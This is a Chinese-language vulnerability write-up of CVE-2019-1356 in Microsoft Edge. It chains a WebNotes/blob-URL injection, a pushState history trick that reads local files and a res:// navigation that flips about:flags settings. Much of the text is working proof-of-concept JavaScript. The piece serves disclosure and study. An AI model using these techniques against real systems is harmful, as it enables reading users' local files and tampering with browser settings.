CVE-2019-1356:Edge浏览器LFD及EoP漏洞分析

 

0x00 前言

在本文中,我将与大家分享Edge(EdgeHTML)浏览器的几个bug,将这些bug结合起来后,可以实现两种不同的攻击效果:LDF(本地文件包含)及EoP(权限提升),后者可以用来修改about:flags中的任何具体设置。

 

0x01 从HTTP到FILE上下文

攻击场景的第一个步骤就是从受限的HTTP/Web上下文逃逸到其他上下文环境中(如本地文件)。在实际环境中,我们无法简单诱导用户直接打开已下载的HTML文件,这并不是常见的用户交互行为。

因此我们需要使用bug,不依赖异常的用户交互。在理想情况下,我们希望不涉及用户交互就能完成任务,这种情况下我使用了WebNotes中的一个bug,虽然此时还是有许多用户交互,但由于WebNotes是Edge浏览器的一个组件,经常被用户使用,因此这种交互至少看上去不是特别“异常”。

之前我反馈过WebNotes中的一个bug,现在该bug已经被修复。幸运的是,我又找到了另一个bug,可以用来在本地文件上下文中执行Javascript。

WebNotes的操作过程如下图所示:

如上图所示,WebNote可以捕捉页面截图,也可以在当前页面上绘制图像,得到的WebNote可以保存成本地HTML文件。

因此,当用户打开已保存的WebNote,实际上打开的是一个本地HTML文件。我们需要以某种方式将自己的代码注入已保存的WebNote文件中,以便后续利用。

在上图中,大家可能注意到当前标签页会转到特定的一个WebNote标签页。我们来看看是否能引用这类标签页,以此为利用点。

事实证明,我们的确保留着对WebNote标签页的引用,因此我们可以通过各种方式来影响该标签页。

与之前的研究一样,我们可以从blob: URI scheme开始。之前我一直在Edge中碰到一个bug,可以将顶部frame导航到某个blob: URL,这是Edge出于某些原因明确禁止的一种行为。因此这里我使用这个bug将WebNote标签页导航到某个blob URL,出乎我意料的是,WebNotes没有遵循正常的操作过程,而是会将已创建的blob HTML内容保存在我们已保存的某个WebNote中。

如下图所示,我使用如下代码诱骗Edge将顶部frame导航到某个blob URL:

打断WebNotes正常操作过程,注入Javascript的具体方法如下:

1、用户点击任意位置,打开新标签页,保存对该标签页的引用。

window.onclick=e=>{
    fer=open('/1.html','qab');
}

2、新标签页中包含一个页面,可以通过上图所示的代码将顶部frame导航至某个blob URI。

3、指导用户创建WebNote,我们可以通过onblur事件处理器(handler)来探测用户行为,handler会通过postMessage向原始页面发送消息,表示用户正在创建WebNote。

a=URL.createObjectURL(new Blob(['Create a WebNote and start drawing something.<script>window.onblur=e=>{opener.postMessage("","*",[]);}</script>'],{type:'text/html'}));

history.replaceState('','',a.split('/')[3]);

location.protocol='blob:http:';

4、一旦用户创建完WebNote,主页面会(使用步骤1保存的引用)再次将标签页重定向到第三个页面。

function step(){
    if(go){

    setInterval(function(){
    fer.close();
    qmsg.innerHTML='Now open the saved WebNote.';
    },2500);


    }else{
        setTimeout(function(){
    fer=open('/2.html','qab');

    },2500);
    go=true;
    }
}


window.addEventListener("message", step, false);

5、第三个页面会在WebNote标签页中加载,立刻将自身变成一个新的Blob URL,此时就包含我们注入的HTML。

a=URL.createObjectURL(new Blob([`Now save this WebNote<script>
if(location.protocol=='file:'){

// Code in this block will be executed once the user opens the saved WebNote

}else{
window.onblur=e=>{opener.postMessage("","*",[]);}
}
</script>`],{type:'text/html'}));

history.replaceState('','',a.split('/')[3]);

location.protocol='blob:http:';

6、随后指导用户保存WebNote,这里Edge不会执行正常操作,保存屏幕截图,而是会保存我们构造的Blob内容。

7、一旦用户打开新创建的WebNote,我们注入的代码就会在file: URI scheme中执行。

现在我们已实现上下文逃逸,那么在这个FILE:上下文中,我们能执行哪些操作?

 

0x02 绕过文件读取限制

当涉及到本地文件上下文时,磁盘上的WebNote HTML文件位置属于比较特殊的情况。大家可以看到,如果我们使用Edge打开本地HTML文件,那么该文件就可以访问原始文件目录之外的其他文件。然而,WebNote HTML文件位于Edge的AppData目录中,该目录中也包含一些临时数据(另外打印预览文档也位于该目录中)。

Edge不允许位于AppData目录中的HTML文档访问其他路径。该目录与“Downloads”目录类似,在这些目录中打开的HTML文件无法访问工作目录之外的数据。举个例子:

C:\Users\Q\Downloads\malice.html无法访问C:\a\secret.txtC:\Users\Q\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\User\Default\WebNotes\malice.html无法访问C:\a\secret.txt,然而C:\Users\Q\projects\mywebsite\createdByMe.html可以访问C:\a\secret.txt

根据我的猜测,如果HTML文件直接来自于互联网,那么与正常用户创建的文件相比,Edge会将该文件当成权限较低的内容。这种机制有点类似适用于Word/Excel文件的安全性。

现在不幸的是,我们注入的HTML位于受限文件上下文中。因此我们需要完成另一个逃逸任务,幸运的是这次任务比前面那一次要简单得多。首先我注意到浏览器并没有限制replaceState/pushState函数,单页面web应用通常会使用该函数来模拟网站导航行为。我在file: URI scheme内使用该函数,就可以修改HTML文档的路径。然而单单这样操作依然不够,Edge比较机智,不会被这种技巧糊弄,因此我需要稍加创新。

文档源已在其他地方设置,我在修改URL时并没有修改这个值。因此我只要找到办法欺骗Edge,使其认为打开的HTML文件位于其他位置,就能绕过各种限制。具体实现代码如下:

setTimeout(function(){

history.pushState('','','file:///C:/a/fictional-non-existent.html')

},500);
setTimeout(function(){

document.write("<a id=qa href="javascript:try{top.fetch('file:///C:/a/q.txt',{mode:'no-cors',credentials:'include'}).then((q)=>{return q.text()}).then((q)=>{alert(escape(q))});}catch(e){}">aaaaa</a><script>qa.click()</script>")
history.pushState('','','file:///C:/a/q.html');
history.back();

},1500);

演示动图如下所示:

该过程工作原理如下:

1、首先使用pushState函数将URL修改为某个虚假的、不存在HTML文件,该文件与我们的目标文件位于同一个目录中。

2、pushState插入导航历史记录,而replaceState替换当前已查看的历史页面,这个操作非常重要。

3、然后这里我使用了document.write函数,我希望能导航回该页面,查看之前写入的HTML。据我所知,这种方法仅适用于这种特殊的HTML插入方式。

4、然后执行第二次pushState,这一次将当前URL修改为目标文件位置。

5、执行history.back(),以便返回之前创建的document.write值。这一次Edge会错误地认为这是真实存在的HTML文件(实际上该文件并不存在)。

6、最后尝试读取目标文件,大功告成。

 

0x03 进一步提升权限

前面介绍的导航技巧同样可以用来修改Edge浏览器about:flags页面中的任何设置,这是因为file:上下文可以导航至res: URL。我们可以使用前面的技巧,将这种导航技术插入res:上下文中。

我使用的代码如下所示:

var qpay=escape`history.replaceState("","","res://edgehtml.dll/flags.htm");
setTimeout(function(){document.write('<iframe src="javascript:top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false)">');
history.pushState('','','res://apds.dll/REDIRECT.HTML?target=javascript:123');history.back();},333);`;

location="res://apds.dll/REDIRECT.HTML?target=javascript:${qpay}";

具体操作如下:

1、构造JS payload,然后导航至res://apds.dll/REDIRECT.HTML?target=javascript:{payload},这里我借鉴了Lokihardt之前研究的针对Edge的利用技术

2、payload同样利用了我们前面讨论的导航bug来提升权限,并执行top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false),修改about:flags中的某个设置值。

3、完成提权任务。

 

0x04 PoC及演示视频

现在将前面的bug结合起来使用。

首先是结合本地文件包含bug:

然后是用来修改设置的提权bug:

大家可以访问此处下载我们发送给微软的PoC源码。

 

0x05 参考资料

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1356

(完)